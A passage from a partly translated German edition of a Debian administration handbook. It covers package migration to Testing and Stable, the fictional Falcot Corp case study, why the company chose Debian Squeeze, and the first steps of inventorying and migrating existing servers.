buildd ist die Abkürzung für „build daemon“. Dieses Programm rekompiliert selbstständig neue Versionen von Debian-Paketen auf den Architekturen, auf denen es untergebracht ist (da eine Cross-Kompilierung nicht immer ausreicht).

Um also Binärdateien für die sparc-Architektur zu erstellen, hält das Projekt sparc-Rechner bereit (vor allem der Marke Sun). Das Programm buildd läuft auf ihnen ununterbrochen, um aus Quellpaketen, die von Debian-Entwicklern eingeschickt wurden, Binärpakete für sparc zu erstellen.

Diese Software wird auf allen Rechnern eingesetzt, die als Selbstbau-Roboter für Debian dienen. Infolgedessen wird der Begriff buildd häufig auch zur Bezeichnung dieser Rechner verwendet, die gewöhnlich ausschließlich für diesen Zweck reserviert sind.

1.5.3. Migration zu Testing

Etwas später wird das Paket ausgereift sein; es wird in seinen Kompilierungen für alle Architekturen keine neuerlichen Veränderungen mehr durchgemacht haben. Damit ist es ein Kandidat für die Aufnahme in die Distribution Testing - einer Gruppe von Unstable-Paketen, die unter Beachtung einer Reihe von quantifizierbaren Kriterien ausgewählt worden sind. Jeden Tag wählt ein Programm unter Berücksichtigung von Elementen, die ein bestimmtes Qualitätsniveau gewährleisten, selbstständig die Pakete für die Aufnahme in Testing aus:

keine kritischen Fehler oder zumindest weniger als in der aktuell in Testing enthaltenen Version;

hat wenigstens 10 Tage in Unstable verbracht, ausreichend lange, um ernsthafte Probleme zu entdecken und zu melden;

erfolgreiche Kompilierung auf allen offiziell unterstützten Architekturen;

Abhängigkeiten können in Testing gelöst werden oder können zumindest zusammen mit dem betreffenden Paket dorthin verschoben werden.

Dieses System ist sicherlich nicht unfehlbar; kritische Fehler werden regelmäßig in Paketen gefunden, die in Testing enthalten sind. Dennoch ist es im Allgemeinen effektiv, und Testing bereitet deutlich weniger Probleme als Unstable, womit es für viele ein guter Kompromiss zwischen Stabilität und Aktualität ist.

HINWEIS Einschränkungen von Testing

Testing wirft einige Probleme auf, die von grundsätzlichem Interesse sind: Das Gewirr gegenseitiger Abhängigkeiten zwischen Paketen ist derartig, dass ein Paket niemals allein dorthin verschoben werden kann. Da alle Pakete voneinander abhängen, muss immer eine große Anzahl gleichzeitig verschoben werden, was jedoch unmöglich ist, wenn einige regelmäßig Aktualisierungen hochladen. Auf der anderen Seite arbeitet das Skript, das Familien zusammengehöriger Pakete festlegt, unermüdlich daran, diese zu erstellen (dies wäre ein NP-vollständiges Problem, für das wir jedoch glücklicherweise einige gute Heuristiken kennen). Wir können daher manuell mit dem Skript interagieren und es lenken, indem wir Gruppen von Paketen vorschlagen oder die Aufnahme bestimmter Pakete in eine Gruppe erzwingen, selbst wenn dies vorübergehend einige Abhängigkeiten bricht. Dieses Funktionsmerkmal ist für die Release-Manager und ihre Assistenten zugänglich.

Erinnern Sie sich daran, dass ein NP-vollständiges Problem eine exponentielle algorithmische Komplexität in Abhängigkeit vom Datenumfang hat, der in diesem Fall durch die Länge des Codes (die Anzahl der Zeichen((?)) ) und der beteiligten Elemente bestimmt wird. Der einzige Lösungsweg besteht häufig darin, alle möglichen Konfigurationen zu überprüfen, was einen enormen Aufwand erfordern könnte. Eine Heuristik ist da eine ungefähre, aber hinreichende Lösung.

GEMEINSCHAFT Der Release-Manager

Release Manager ist ein wichtiger mit großer Verantwortung verbundener Titel. Der Träger dieses Titels muss faktisch die Veröffentlichung einer neuen, stabilen Debian-Version bewältigen und den Entwicklungsprozess von Testing bestimmen, bis es die Qualitätskriterien für Stable erfüllt. Er legt auch einen vorläufigen Zeitplan fest (der nicht immer eingehalten wird).

Wir haben auch Stable Release Manager, häufig SRM abgekürzt, die die aktuelle stabile Debian-Version betreuen und für sie Aktualisierungen auswählen. Sie nehmen systematisch Sicherheitspatches auf und überprüfen jeden einzelnen der von Debian-Entwicklern eingeschickten Einfügungsvorschläge, die ihr Paket in der stabilen Version aktualisieren möchten.

1.5.4. Die Beförderung von Testing zu Stable

Let us suppose that our package is now included in Testing. While it has room for improvement, the maintainer thereof must continue to improve it and restart the process from Unstable (but its later inclusion in Testing is generally faster: If it has not changed significantly, all of its dependencies are already available). When it reaches perfection, the maintainer has completed their work. The next step is the inclusion in the Stable distribution, which is, in reality, a simple copy of Testing at a moment chosen by the Release Manager. Ideally this decision is made when the installer is ready, and when no program in Testing has any known critical bugs.

Da dieser Augenblick niemals wirklich eintritt, muss Debian in der Praxis Kompromisse machen: Pakete entfernen, deren Betreuer Fehler nicht rechtzeitig behoben hat, oder der Veröffentlichung einer Distribution mit einigen wenigen Fehlern in Tausenden von Programmen zustimmen. Der Release Manager wird zuvor einen Zeitraum mit einer Veränderungssperre verkündet haben, währenddessen jede weitere Aktualisierung in Testing genehmigt werden muss. Dies geschieht mit dem Ziel, neue Versionen (und damit neue Fehler) zu verhindern und nur solche Aktualisierungen zu genehmigen, die Fehler beheben.

Figure 1.3. Der Weg eines Pakets durch die verschiedenen Debian-Versionen

WÖRTERVERZEICHNIS Freeze (Veränderungssperre): die Zielgerade

Während der Zeit einer Veränderungssperre ist die Entwicklung der Distribution Testing gesperrt; weitere selbstständige Aktualisierungen sind nicht mehr erlaubt. Nur die Release Manager dürfen dann Pakete, in Übereinstimmung mit ihren eigenen Kriterien, ändern. Ziel ist es, das Auftreten neuer Fehler durch die Einführung neuer Versionen zu verhindern; nur gründlich untersuchte Aktualisierungen werden genehmigt, wenn sie signifikante Fehler beheben.

Nach der Veröffentlichung einer neuen stabilen Version leitet der Stable Release Manager die weitere Entwicklung („Revisionen“ genannt, zum Beispiel 5.0.1, 5.0.2, 5.0.3 für Version 5.0). Diese Aktualisierungen nehmen systematisch alle Sicherheitspatches auf. Sie schließen auch die wichtigsten Verbesserungen mit ein (der Betreuer eines Pakets muss die Schwere des Problems, das er korrigieren möchte, nachweisen, damit seine Aktualisierungen aufgenommen werden).

Das Ende des Wegs: Unser hypothetisches Paket ist jetzt in der stabilen Distribution enthalten. Dieser Weg, der nicht ohne Schwierigkeiten war, erklärt die erheblichen Verzögerungen, durch die die Debian-Stable-Veröffentlichungen voneinander getrennt sind. Dies trägt insgesamt zu ihrem Ruf hoher Qualität bei. Außerdem ist die Mehrheit der Anwender damit zufrieden, eine der drei gleichzeitig verfügbaren Distributionen verwenden zu können. Die Systemadministratoren, die vor allem um die Stabilität ihrer Server besorgt sind, machen sich über die jüngste Version von GNOME lustig; sie können Debian Stable wählen und werden damit zufrieden sein. Endnutzer, die mehr an den jüngsten Versionen von GNOME oder KDE als an felsenfester Stabilität interessiert sind, werden feststellen, dass Debian Testing ein guter Kompromiss zwischen der Abwesenheit schwerwiegender Probleme und relativ aktueller Software ist. Schließlich werden Entwickler und erfahrenere Nutzer den Weg bahnen, indem sie die neuesten Entwicklungen in Debian Unstable ausprobieren, sobald sie die Startbox verlassen haben, selbst auf die Gefahr hin, an Kopfschmerzen und Fehlern zu leiden, die zu jeder neuen Version eines Programms dazu gehören. Jedem sein eigenes Debian!

Figure 1.4. Chronologischer Weg eines von Debian paketierten Programms

KULTUR GNOME und KDE, grafische Arbeitsumgebungen

GNOME (GNU Network Object Model Environment) und KDE (K Desktop Environment) sind in der Welt der freien Software die beiden beliebtesten grafischen Arbeitsumgebungen. Eine Arbeitsumgebung ist ein Satz zusammenhängender Programme, die eine einfache Handhabung der häufigsten Tätigkeiten mithilfe einer grafischen Schnittstelle ermöglichen. Zu ihnen gehören normalerweise ein Dateimanager, Office-Paket, Webbrowser, E-Mail-Programm, Multimediawerkzeuge usw. Der auffälligste Unterschied besteht in der Wahl der verwendeten grafischen Bibliothek: GNOME hat GTK+ (freie unter LGPL lizensierte Software) und KDE Qt (vom Unternehmen Trolltech, das es unter der Lizenz GPL veröffentlicht hat) gewählt.

→ http://www.gnome.org/

→ http://www.kde.org/

Chapter 2. Vorstellung der Fallstudie

Sie sind der Systemadministrator einer kleinen, wachsenden Firma. In Zusammenarbeit mit Ihren Direktoren wollen Sie einen Masterplan für die Informationssysteme für das kommende Jahr neu definieren und aus wirtschaftlichen Erwägungen schrittweise nach Debian migrieren. Lassen Sie uns im Detail sehen, was vor Ihnen liegt...

Wir haben uns diese Fallstudie ausgedacht, um alle modernen Informationsdienste, die derzeit in einem mittelständischen Unternehmen eingesetzt werden, zu betrachten. Nach der Lektüre dieses Buches werden Sie über alle notwendigen Kenntnisse verfügen, um Debian auf Ihren Servern zu installieren und selbstständig weiterzuarbeiten. Sie erfahren auch, wie man im Falle von Schwierigkeiten effektiv Informationen erhält.

2.1. Schnell wachsende IT-Bedürfnisse

Falcot Corp ist ein Hersteller von hochwertigen Audiogeräten. Das Unternehmen wächst stark und hat zwei Standorte, einen in Saint-Étienne und einen weiteren in Pau. In Saint-Étienne sind rund 150 Mitarbeiter in einer Fabrik für die Herstellung von Lautsprechern, einem Designlabor sowie in der Verwaltung beschäftigt. Am Standort Pau, der kleiner ist, werden mit nur 50 Mitarbeitern Verstärker hergestellt.

Hinweis Dies ist nur eine fiktive Firma für die Fallstudie

Die Firma "Falcot Corp", welche hier betrachtet wird, ist rein fiktiv. Jede Ähnlichkeit mit einer existierenden Firma wäre rein zufällig. Ebenso sind einige der Beispieldaten in diesem Buch rein fiktiv.

Die EDV hatte Mühe mit dem Wachstum der Firma mitzuhalten, und so ist die Geschäftsleitung nun fest entschlossen, diese Abteilung komplett neu zu definieren, um die verschiedenen Ziele zu erreichen, die von der Unternehmensführung vorgegeben wurden:

moderne, leicht skalierbare Infrastruktur;

Reduzierung der Kosten für Softwarelizenzen dank Verwendung von Open-Source-Software;

Installation einer E-Commerce-Website, möglicherweise B2B (business to business, d.h. Verknüpfung von IT-Systemen zwischen verschiedenen Unternehmen, wie zum Beispiel einem Zulieferer und den Abnehmern);

signifikante Verbesserung der Sicherheit zum besseren Schutz der Betriebsgeheimnisse im Zusammenhang mit neuen Produkten.

Aufgrund dieser Ziele wird das gesamte Informationssystem überarbeitet.

2.2. Gesamtkonzept

Mit Ihrer Hilfe hat das IT-Management eine recht umfangreiche Studie durchgeführt, in der einige Sachzwänge identifiziert wurden und ein Plan zur Migration auf das gewählte Open-Source-System Debian erstellt wurde.

Als signifikante Einschränkung wurde eine Buchhaltungssoftware identifiziert, die nur unter Microsoft Windows™ läuft. Das Labor hingegen nutzt eine CAD-Software, die nur auf MacOS X ™ läuft.

Figure 2.1. Übersicht über das Falcot Corp Netzwerk

Der Umstieg auf Debian wird schrittweise erfolgen; ein kleines Unternehmen mit begrenzten Mitteln kann nicht alles über Nacht ändern. Zunächst einmal müssen die IT-Mitarbeiter in die Administration mit Debian geschult werden. Dann werden zuerst die Netzwerk-Infrastruktur-Server (Router, Firewalls, usw.) und anschließend die Anwenderdienste (File-Sharing, Web, SMTP, usw.) umgesetzt. Nach und nach werden dann die Bürocomputer auf Debian migriert und jede Abteilung wird während des Ausrollens der Systeme auf Debian (intern) geschult.

2.3. Warum eine GNU/Linux-Distribution?

Rückblick auf die Grundlagen Linux oder GNU/Linux?

Linux, as you already know, is only a kernel. The expressions, “Linux distribution” and “Linux system” are, thus, incorrect: they are, in reality, distributions or systems based on Linux. These expressions fail to mention the software that always complete this kernel, among which are the programs developed by the GNU Project. Dr. Richard Stallman, founder of this project, insists that the expression “GNU/Linux” be systematically used, in order to better recognize the important contributions made by the GNU Project and the principles of freedom upon which they are founded.

Debian hat sich entschieden, dieser Empfehlung zu folgen, und so wird die Distributionen entsprechend benannt(daher lautet die aktuelle stabile Version Debian GNU/Linux 6.0).

Mehrere Faktoren haben diese Wahl bestimmt. Der Systemadministrator, der die Distribution kannte, sorgte dafür, dass sie als Kandidat für die EDV-Auswahl aufgenommen wurde. Schwierige wirtschaftliche Bedingungen und wilder Wettbewerb haben das Budget für diese Operation trotz ihrer kritischen Bedeutung für die Zukunft des Unternehmens eingeschränkt. Aus diesem Grunde wurde kurzerhand eine Open-Source-Lösung gewählt: Mehrere neuere Studien zeigen, dass sie günstiger als proprietäre Lösungen sind, während die Qualität der Dienstleistung gleich oder besser ist, solange qualifiziertes Personal zur Verfügung steht.

IN DER PRAXIS Total cost of ownership (TCO)

The Total Cost of Ownership is the total of all money expended for the possession or acquisition of an item, in this case referring to the operating system. This price includes any possible license fee, costs for training personnel to work with the new software, replacement of machines that are too slow, additional repairs, etc. Everything arising directly from the initial choice is taken into account.

This TCO, which varies according to the criteria chosen in the assessment thereof, is rarely significant, in itself. However, it is very interesting to compare the TCO calculated according to the same rules. This assessment table is, thus, of paramount importance, and it is easy to manipulate it in order to draw a predefined conclusion. Thus, the TCO for a single machine doesn't make sense, since the cost of an administrator is also reflected in the total number of machines they manage, a number which obviously depends on the operating system and tools proposed.

Unter den freien Betriebssystemen untersuchte die IT-Abteilung die Free-BSD Systeme (OpenBSD, FreeBSD und NetBSD), GNU Hurd sowie Linux-Distributionen. GNU Hurd, das bisher noch keine stabile Version veröffentlicht hat, wurde sofort wieder verworfen. Die Wahl zwischen BSD und Linux war einfacher. Die erstgenannten haben viele Vorteile, speziell auf Servern. Pragmatisch gesehen ist die Wahl eines Linux-Systems jedoch sinnvoller, da sowohl die breite Installationsbasis als auch der Bekanntheitsgrad sehr signifikant sind und diese Systeme auch einige positive Nebeneffekte haben. Darüber hinaus ist es aufgrund der Verbreitung leichter, qualifiziertes Personal für Linux-Systeme zu finden, als Techniker, die sich auf BSD spezialisiert haben. Außerdem wird Linux schneller an neue Hardware angepasst als BSD (obwohl hier ein Kopf-an-Kopf-Rennen stattfindet). Und nicht zuletzt werden Linux-Distributionen häufiger mit benutzerfreundlichen grafischen Oberflächen ausgestattet, die für Anfänger während der Umstellung aller Bürorechner auf ein neues System unabdingbar sind.

ALTERNATIV Debian GNU/kFreeBSD

Seit Debian Squeeze ist es möglich, Debian mit einem FreeBSD-Kernel auf 32-bit und 64-bit Rechnern zu nutzen. Das ist die Aufgabe der Architekturen kfreebsd-i386 und kfreebsd-amd64. Obwohl diese Architekturen als "experimentell" oder als "Technology Preview" gekennzeichnet sind, sind bereits 70-80% der Debian-Softwarepakete für sie verfügbar.

Diese Architekturen könnten eine gute Wahl für die Administratoren der Falcot Corp. sein, speziell für eine Firewall (der Kernel unterstützt drei verschiedene Firewalls: PF, IPFW und PF) oder eine Netzwerkspeicher-Lösung (NAS; network attached storage system; hierfür wurde das ZFS-Dateisystem getestet und freigegeben).

2.4. Warum die Debian Distribution?

Sobald eine Entscheidung für Linux gefallen ist, sind weitere Optionen zu betrachten. Und wieder sind zahlreiche Kriterien zu bedenken. Die gewählte Distribution muss mehrere Jahre betrieben werden können, weil eine Umstellung (Migration) weitere Kosten nach sich ziehen würde (obwohl diese nicht so hoch ausfallen wie bei einem Wechsel zu einem völlig unterschiedlichen Betriebssystem wie etwa Windows oder Mac OS).

Nachhaltigkeit ist sehr wichtig. Sie muss regelmäßige Updates und Sicherheitsupdates für mehrere Jahre garantieren. Auch die zeitliche Abfolge von Updates ist sehr wichtig, weil die Falcot Corp. diese komplexen Operationen bei der großen Anzahl der zu verwaltenden Rechner nicht allzu häufig durchführen kann. Die IT-Abteilung besteht daher darauf, die neueste stabile Version der Distribution einzusetzen, um von der besten technischen Unterstützung und garantierten Sicherheitsupdates zu profitieren. In der Tat werden Sicherheitsupdates nur für eine begrenzte Zeit für ältere Versionen einer Distribution angeboten.

Schließlich muss aus Gründen der Homogenität und der einfachen Administration die gleiche Distribution auf allen Servern (von denen einige Sparc-Rechner sind, die derzeit auf Solaris laufen) und Bürorechnern laufen.

2.4.1. Kommerzielle und von der Gemeinschaft gewartete Distributionen

Es gibt zwei Hauptkategorien von Linux-Distributionen: kommerzielle und von der Community entwickelte. Die Ersteren, die von Firmen entwickelt werden, werden mit dem entsprechenden Support verkauft. Die Letzteren werden nach den gleichen Regeln entwickelt wie die Software, aus denen sie besteht.

Eine kommerzielle Distribution wird daher tendenziell öfter neue Versionen veröffentlichen, um näher am Marktgeschehen und den damit verbundenen Services zu bleiben. Ihre Zukunft ist direkt mit dem wirtschaftlichen Erfolg ihrer Firma verbunden, viele sind bereits wieder verschwunden (Caldera Linux, StormLinux usw.).

Eine nichtkommerzielle Distribution folgt nur ihrem eigenen Programm. Ähnlich dem Linux-Kernel werden neue Versionen freigegeben, sobald sie stabil sind, niemals vorher. Solange es genug unabhängige Entwickler oder dritte Unternehmen gibt, die sie unterstützen, ist ihr Überleben gesichert.

Bei einem Vergleich verschiedener Linux-Distributionen fiel aus folgenden Gründen die Wahl auf Debian:

Es ist eine Community-Distribution, deren Entwicklung unabhängig von kommerziellen Interessen gesichert ist. Ihre Ziele sind daher grundsätzlich technischer Natur, was für die generelle Qualität des Produkts spricht.

Community-Distributionen glänzen in vielen Aspekten: So etwa in der Anzahl der Mitwirkenden (Programmierer usw.), der Anzahl der verfügbaren Softwarepakete und der Jahre ihrer kontinuierlichen Existenz. Die Größe der Community ist dabei ein unbestreitbarer Zeuge und Garant für Kontinuität.

Statistisch gesehen werden alle 18 bis 24 Monate neue Versionen herausgegeben. Mit dieser Geschwindigkeit können die meisten Administratoren leben.

Eine Umfrage unter verschiedenen französischen Firmen, die sich auf freie Software spezialisiert haben, zeigte, dass alle technische Unterstützung für Debian anbieten. Für viele von ihnen ist es auch die Distribution der Wahl für interne Systeme. Die Vielfalt der möglichen Anbieter ist ein wichtiger Grund für die Unabhängigkeit der Falcot Corp.

Schließlich ist Debian auf einer breiten Basis von Architekturen verfügbar, inklusive Sparc. Es ist trotzdem möglich, Debian auf den verschiedenen Sun-Servern der Falcot Corp. zu installieren.

Nachdem Debian gewählt wurde, muss noch die Frage nach der richtigen Version geklärt werden. Sehen wir uns an, warum die Administratoren Debian Squeeze gewählt haben.

2.5. Warum Debian Squeeze?

Als dieses Buch geschrieben wurde, war Debian Squeeze noch die "Testing" Distribution, aber mittlerweile, während Sie dieses Buch in Händen halten, ist es die neue "Stable" Version von Debian. Das ist auch der Grund warum wir von "Debian Squeeze" statt von "Debian 6.0" sprechen: Die Versionsnummern werden vor dem eigentlichen Release nicht verwendet.

Sie könnten einige minimale Unterschiede zwischen dem, was hier geschrieben steht und dem, was sie in der Praxis beobachten, feststellen, obwohl wir diese Diskrepanzen so weit wie möglich reduziert haben.

MITMACHEN

Scheuen Sie sich nicht, uns jeglichen Fehler in diesem Buch mitzuteilen; Sie können Raphaël unter <hertzog@debian.org> und Roland unter <lolando@debian.org> erreichen.

Die Wahl von Debian Squeeze ist auf die Tatsache zurückzuführen, dass jeder Administrator, der auf die Qualität seines Servers achtet, eher zur "stable" Version von Debian tendiert. Weiterhin führt diese Distribution einige interessante Änderungen ein: Unterstützung für Virtualisierungstechnologien (KVM), vereinfachte PAM-Konfiguration, einen verbesserten Installer, der auch BTRFS unterstützt. Alles zusammen bringt Verbesserungen mit sich, welche die Arbeit eines Administrators direkt beeinflussen.

Chapter 3. Untersuchung des bestehenden Setups und Migration

Jedes Computerupdate sollte das bestehende System mit einschließen. Dies erlaubt eine möglichst weitgehende Wiederverwendung von Ressourcen und garantiert das nahtlose Zusammenarbeiten der verschiedenen Elemente, aus denen das System besteht. Diese Studie will ein allgemeingültiges Rahmenkonzept aufzeigen, dem man bei der Migration einer Rechner-infrastruktur hin zu Linux folgen kann.

3.1. Koexistenz in gemischten Umgebungen

Debian lässt sich sehr gut in alle Arten von bestehenden Umgebungen einbinden und arbeitet gut mit allen anderen Betriebssystemen zusammen. Diese fast perfekte Harmonie rührt vom Wettbewerb her, der dafür sorgt, dass Softwarehersteller ihre Programme den Standards folgend erstellen. Die Beachtung von Standards erlaubt es den Administratoren, Programme auszutauschen: Clients oder Server, egal ob frei oder nicht.

3.1.1. Integration mit Windows-Rechnern

Samba's SMB-/CIFS-Support bietet eine exzellente Kommunikation innerhalb von Windows-Umgebungen. Es verteilt Dateien und Druckerwarteschlangen an Windows-Clients und enthält Software, die es Linux-Rechnern erlaubt, Ressourcen von Windows-Servern zu nutzen.

TOOL Samba

Samba Version 2 verhält sich wie ein Windows-NT-Server (Authentifizierung, Dateien, Druckerwarteschlangen, Herunterladen von Druckertreibern, DFS usw.). Version 3 arbeitet mit Active Directory, sorgt für die Interoperabilität mit NT4-Domänencontrollern und unterstützt RPC (Remote Procedure Calls). Version 4 wurde komplett neu geschrieben (ist jedoch immer noch experimentell). Ziel ist die Bereitstellung der Funktionalitäten eines Domain Controller, der zum Active Directory kompatibel ist.

3.1.2. Vernetzung mit MacOS-Rechnern

Netatalk, das auf einem Linux-Kernel läuft, ist ein Programm, das das Appletalk-Protokoll nutzt und es Debian ermöglicht, mit einem MacOS-Netzwerk zusammenzuarbeiten. Es erlaubt die Arbeit mit Dateiservern und Druckerwarteschlangen sowie die Nutzung als Zeitserver (Uhrensynchronisierung). Seine Routerfunktionalität erlaubt die Verbindung zu Appletalk-Netzwerken.

3.1.3. Vernetzung mit anderen Linux/Unix-Rechnern

Schließlich sorgt die integrierte Unterstützung von NFS und NIS für eine reibungslose Zusammenarbeit mit Unix-Systemen. NFS stellt die Fileserverfunktionalität zur Verfügung, während NIS Benutzerverzeichnisse anlegt. Das von den meisten Unix-Systemen genutzte BSD-Printing-Layer erlaubt auch die Verteilung von Druckerwarteschlangen.

Figure 3.1. Koexistenz von Debian mit MacOS-, Windows- und Unix-Systemen

3.2. Migrationsvorgang

Um die Aufrechterhaltung des Betriebs zu gewährleisten, muss jede Migration geplant und anhand dieses Plans durchgeführt werden. Dieses Prinzip ändert sich nie, egal welches Betriebssystem benutzt wird.

3.2.1. Überprüfen und Identifizieren der Dienste

So einfach es auch scheint, dieser Schritt ist entscheidend. Ein professioneller Administrator kennt die primären Aufgaben jedes Servers genau. Solche Aufgaben können sich jedoch ändern, und manchmal haben erfahrene Nutzer vielleicht auch "wilde" Dienste installiert. Wenn man wenigstens über sie Bescheid weiß, kann man zumindest entscheiden, was man mit ihnen machen wird, anstatt sie planlos zu löschen.

Zu diesem Zweck ist es sinnvoll, Ihre Benutzer vor der Servermigration über das Projekt zu informieren. Um sie an dem Projekt zu beteiligen, könnte es nützlich sein, vor der Migration die am häufigsten verwendete freie Software auf denjenigen Desktops zu installieren, mit denen die Benutzer nach der Migration zu Debian später wieder arbeiten; OpenOffice.org und die Mozilla-Suite sind dafür die besten Beispiele.

3.2.1.1. Netzwerk und Prozesse

(im gleichnamigen Paket) identifiziert schnell Internetdienste, die auf einer Maschine laufen und die über das Netzwerk verbunden sind, ohne dass ein Login benötigt wird. Man braucht nur das folgende Kommando auf einem anderen Rechner aufzurufen, der mit demselben Netzwerk verbunden ist:

$ nmap mirlaine Starting Nmap 5.00 ( http://nmap.org ) at 2010-07-29 16:36 CET Interesting ports on mirlaine (192.168.1.99): Not shown: 1694 closed ports PORT STATE SERVICE 22/tcp open ssh 79/tcp open finger 111/tcp open rpcbind Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds

ALTERNATIVE Benutze netstat, um die verfügbaren Dienste anzuzeigen

Auf einem Linux-Rechner kann mit dem Befehl netstat -tupan eine Liste von aktiven und anstehenden TCP-Sitzungen sowie von UDP-Ports, an denen laufende Programme horchen, angezeigt werden. Dies erleichtert das Aufspüren von Diensten, die im Netzwerk angeboten werden.

Vertiefung / Weiterführende Informationen IPv6

Einige Netzwerkbefehle arbeiten entweder mit IPv4 (was normalerweise der Standard ist) oder mit IPv6. Das ist speziell bei nmap und netstat so, aber auch bei anderen wie etwa route oder ip der Fall. Konvention ist, dass dieses Verhalten mit der Kommandozeilenoption -6 eingeschaltet wird.

Wenn auf einem Server Unix läuft und Anwendern eine Shell angeboten wird, ist es oftmals interessant, zu wissen, ob ein Prozess auch in Abwesenheit des Users im Hintergrund läuft. Das Dienstprogramm ps auxw zeigt alle laufende Prozesse mit der zugehörigen ID. Ein Gegenprüfen dieser Informationen mit der Ausgabe des who-Befehls, das eine Liste der angemeldeten User zeigt, kann helfen, verwaiste Prozesse aufzeigen.n\nEin Blick auf crontab zeigt oftmals interessante Information über Funktionen und Prozesse, die der Server regelmäßig ausführt. Eine vollständige Erläuterung des cron-Befehls findet sich hier Section 9.7, “Aufgaben mit cron und atd zeitlich festlegen”

In jedem Fall ist es absolut unerlässlich, Sicherheitskopien des eigenen Servers anzulegen. Dadurch ist es möglich, Informationen wiederherzustellen, falls Benutzer Probleme aufgrund der Migration melden.

3.2.2. Sichern der Konfiguration

Es wird empfohlen, die Konfiguration jedes verwendeten Dienstes zu sichern, um dessen Äquivalent auf dem aktualisierten Server einzurichten. Die Konfiguration der Dienste sollte mindestens ausgedruckt werden sowie als digitale Kopie vorliegen.

Für Unix-Maschinen befinden sich die Konfigurationsdateien gewöhnlich in /etc/. Sie können sich aber auch in einem Unterverzeichnis von /usr/local/ befinden. Dies ist der Fall, wenn ein Programm durch Kompilieren des Quellcodes installiert wird. In manchen Fällen sind die Dateien auch unter /opt/ zu finden.

Bei Diensten zur Datenverwaltung (wie zum Beispiel Datenbanken) wird dringend empfohlen, die Daten in ein standardisiertes Format zu exportieren, das durch die neue Software problemlos wieder importiert werden kann. Ein solches Format ist üblicherweise dokumentiert und liegt als Textdatei vor. So kann es beispielsweise als SQL Dump bei einer Datenbank oder als LDIF-Datei für einen LDAP-Server vorliegen.

Figure 3.2. Datenbanksicherungen

Jede Serversoftware ist unterschiedlich, und es ist unmöglich, auf jedes Detail aller existierenden Fälle einzugehen. Lesen Sie die vorliegende Dokumentation, um herauszufinden, welche Bereiche exportiert (also wieder importiert) werden können und welche Bereiche manuell angepasst werden müssen. Das Ziel dieses Buches ist es, die Konfiguration der gängigen Serverprogramme unter Linux zu veranschaulichen.

3.2.3. Übernahme eines vorhandenen Debianservers

Um die Wartung erfolgreich zu übernehmen, kann man einen bereits mit Debian laufenden Server analysieren.

The first file to check is /etc/debian_version, which usually contains the version number for the installed Debian system (it is part of the base-files package). If it indicates codename/sid, it means that the system was updated with packages coming from one of the development distributions (either testing or unstable).

Das Programm apt-show-versions (aus dem gleichnamigen Debian-Paket) überprüft die Liste der installierten Pakete und identifiziert die verfügbaren Versionen. Für diesen Zweck kann auch aptitude benutzt werden, wenn auch in einer weniger systematischen Art und Weise.

Ein kurzer Blick auf die Datei /etc/apt/sources.list zeigt, woher die installierten Debian-Pakete kamen. Falls viele unbekannte Quellen erscheinen, könnte es der Administrator vorziehen, das Betriebssystem komplett neu zu installieren, um die optimale Kompatibilität zu gewährleisten, welche durch die Software von Debian sichergestellt wird.

Die Datei sources.list ist oft ein guter Indikator: Die Mehrheit der Administratoren lassen Einträge zu früher genutzten APT-Quellen bestehen, oft auch auskommentiert. Dabei ist zu beachten, dass ehemalige Quellen inzwischen gelöscht und auch manuell zufällig aus dem Internet heruntergeladene Pakete installiert worden sein können (mithilfe des Kommandos dpkg). In diesem Fall trügt das Erscheinungsbild eines "Standard"-Debian. Darum sollte man auf jeden noch so kleinen Hinweis achten, der auf die Existenz externer Pakete hindeutet (Vorhandensein von deb-Dateien in unüblichen Verzeichnissen, Paketversionsnummern mit spezieller Endung, welche auf eine Herkunft außerhalb des Debian-Projekts hindeuten, so zum Beispiel ubuntu, ximian etc.).

Genauso interessant ist es, den Inhalt des Verzeichnisses /usr/local/ zu analysieren. Dieses Verzeichnis soll Programme beinhalten, die manuell kompiliert und installiert wurden. Eine Auflistung von Software, die auf diese Weise installiert wurde, ist lehrreich, denn es stellt sich die Frage nach den Gründen, warum nicht das entsprechende Debian-Paket benutzt wurde (falls ein solches existiert).

Schnellansicht cruft

Das cruft-Paket schlägt vor, die verfügbaren Dateien aufzulisten, die nicht zu einem Paket gehören. Es besitzt einige Filter (mehr oder weniger effektiv und mehr oder weniger aktuell), um zu vermeiden, dass legitime Dateien (solche, die von Debian-Paketen generiert werden, oder generierte Konfigurationsdateien, die nicht von dpkg usw. gemanagt werden) aufgeführt werden.

Seien Sie vorsichtig und löschen Sie nicht blind alles, was cruft aufführen könnte!

3.2.4. Installation von Debian

Da nun alle Informationen über den bestehenden Server bekannt sind, können wir ihn herunterfahren und dann beginnen, Debian darauf zu installieren.

Um die passende Version auszuwählen, müssen wir die Systemarchitektur kennen. Wenn es ein PC ist, dann wird dies sehr wahrscheinlich i386 sein. In anderen Fällen können wir die Möglichkeiten entsprechend dem zuvor genutzten System eingrenzen.

Figure 3.3. Installation der passenden Debian-Version

Es ist nicht vorgesehen, dass Table 3.1 vollständig ist, aber es kann hilfreich sein. In jedem Fall ist die Originaldokumentation die verlässlichste Quelle, um diese Informationen zu finden.

HARDWARE PC der nächsten Generation

Die meisten aktuellen Computer besitzen 64-bit-Intel- oder -AMD-Prozessoren, die kompatibel zu älteren 32-bit-Prozessoren sind; daher läuft auf ihnen Software, die für die i386-Architektur übersetzt wurde. Andererseits werden durch diesen Kompatibilitätsmodus die Möglichkeiten dieser neuen Prozessoren nicht vollständig genutzt. Deshalb liefert Debian Software für die ia64-Architektur von Intel-Itanium-Chips und für die amd64-Architektur von AMD-Chips. Letztere funktioniert auch auf Intel-em64t-Prozessoren, die den AMD64 Prozessoren sehr ähnlich sind.

Table 3.1. Passende Betriebssysteme und Architektur

Betriebssystem | Architektur(en)
DEC Unix (OSF/1) | alpha, mipsel
HP Unix | hppa
IBM AIX | powerpc
Irix | mips
MacOS | powerpc, m68k, i386, amd64
MVS | s390
Solaris, SunOS | sparc, m68k, i386
Ultrix | mips
VMS | alpha
Windows NT | i386, alpha, mipsel
Windows XP / Windows Server 2008 | i386, ia64, amd64
Windows Vista / Windows 7 | i386, amd64

3.2.5. Installation und Einrichtung der ausgewählten Dienste

Nach der Installation von Debian müssen wir Stück für Stück die Dienste installieren und einrichten, die auf diesem Computer laufen müssen. Die neue Konfiguration muss sich an der vorherigen orientieren, um einen reibungslosen Übergang zu gewährleisten. Alle in den beiden ersten Schritten gesammelten Informationen sind nützlich, um diesen Teil erfolgreich abzuschließen.

Figure 3.4. Installation der ausgewählten Dienste

